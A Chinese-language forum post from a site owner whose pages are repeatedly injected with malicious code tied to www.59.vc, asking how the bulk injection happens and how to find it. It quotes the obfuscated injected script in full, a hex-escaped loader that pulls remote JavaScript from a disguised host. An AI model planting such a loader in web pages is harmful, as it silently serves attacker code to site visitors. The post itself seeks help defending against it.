网页中总是被植入 www.59.vc
植入加密代码：<script>document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x3A\x2F\x2F\x4F\x25\x36\x36\x25\x36\x36\x25\x34\x39\x25\x36\x33\x65\x25\x32\x45\x25\x34\x36\x25\x34\x31\x51\x25\x35\x33\x25\x36\x35\x25\x37\x32\x76\x2E\x25\x34\x33\x25\x36\x46\x25\x34\x44\x2F\x25\x34\x36\x25\x34\x31\x25\x35\x31\x25\x32\x45\x25\x36\x41\x25\x37\x33\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");</script>

删除后没几天就有感染了！

请问如何解决 黑客是通过何种方式批量注入的？如何排查？

[用户系统信息]Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WPS; 火星浏览器(Gogo Explorer) 3.x; MAXTHON 2.0)

请把网站被注入网页用邮件发给我

谢谢版主鼎力相助。